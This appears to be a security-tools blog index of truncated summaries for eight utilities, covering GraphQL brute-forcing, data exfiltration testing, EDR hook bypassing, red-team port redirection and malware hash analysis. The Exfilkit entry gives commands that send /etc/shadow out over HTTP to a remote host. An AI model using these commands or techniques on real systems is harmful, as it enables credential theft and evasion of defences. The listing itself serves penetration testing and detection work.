CrackQL – GraphQL Password Brute-Force And Fuzzing Utility

CrackQL is a GraphQL password brute-force and fuzzing utility. CrackQL is a versatile GraphQL penetration testing tool that exploits poor rate-limit and cost analysis controls to brute-force credentials and fuzz operations. How it works? CrackQL works by automatically batching a single GraphQL query or mutation into several alias operations. It determines the number of aliasesRead More

Exfilkit – Data Exfiltration Utility For Testing Detection Capabilities

Data exfiltration utility for testing detection capabilities Description Data exfiltration utility used for testing detection capabilities of security products. Obviously for legal purposes only. Exfiltration How-To /etc/shadow -> HTTP GET requests Server # ./ -m exfilkit.methods.http.param_cipher.GETServer -lp 80 -o output.log Client $ ./ -m exfilkit.methods.http.param_cipher.GETClient -rh -rp 80 -i ./samples/shadow.txt -r /etc/shadow -> HTTPRead More

RogueAssemblyHunter – Rogue Assembly Hunter Is A Utility For Discovering ‘Interesting’ .NET CLR Modules In Running Processes

[*] Rogue Assembly Hunter is a utility for discovering ‘interesting’ .NET CLR modules in running processes. Author: @bohops License: MIT Project: Background .NET is a very powerful and capable development platform and runtime framework for building and running .NET managed applications. Over the last several years, .NET has been adopted by Red Teams (andRead More

RefleXXion – A Utility Designed To Aid In Bypassing User-Mode Hooks Utilised By AV/EPP/EDR Etc

Introduction RefleXXion is a utility designed to aid in bypassing user-mode hooks utilised by AV/EPP/EDR etc. In order to bypass the user-mode hooks, it first collects the syscall numbers of the NtOpenFile, NtCreateSection, NtOpenSection and NtMapViewOfSection found in the LdrpThunkSignature array. After that, there are two techniques that the user can choose to bypass theRead More

GraphQL Cop – Security Auditor Utility For GraphQL APIs

GraphQL Cop is a small Python utility to run common security tests against GraphQL APIs. Requirements Python3 Requests Library Detections Alias Overloading (DoS) Batch Queries (DoS) GET based Queries (CSRF) GraphQL Tracing / Debug Modes (Info Leak) Field Duplication (DoS) Field Suggestions (Info Leak) GraphiQL (Info Leak) Introspection (Info Leak) Directives Overloading (DoS) Usage CSRFRead More

PortBender – TCP Port Redirection Utility

PortBender is a TCP port redirection utility that allows a red team operator to redirect inbound traffic destined for one TCP port (e.g., 445/TCP) to another TCP port (e.g., 8445/TCP). PortBender includes an aggressor script that operators can leverage to integrate the tool with Cobalt Strike. However, because the tool is implemented as a reflectiveRead More

Uchihash – A Small Utility To Deal With Malware Embedded Hashes

Uchihash is a small utility that can save malware analysts the time of dealing with embedded hash values used for various things such as: Dynamically importing APIs (especially in shellcode) Checking running process used by analysts (Anti-Analysis) Checking VM or Antivirus artifacts (Anti-Analysis) Uchihash can generate hashes with your own custom hashing algorithm, search forRead More

Ruse – Mobile Camera-Based Application That Attempts To Alter Photos To Preserve Their Utility To Humans While Making Them Unusable For Facial Recognition Systems

Mobile camera-based application that attempts to alter photos to preserve their utility to humans while making them unusable for facial recognition systems. Installation (1) Easy Method: Wait and download app from appropriate app store. (2) Download and run ios app via XCode (see Development setup for more detail) Usage example App is developed as aRead More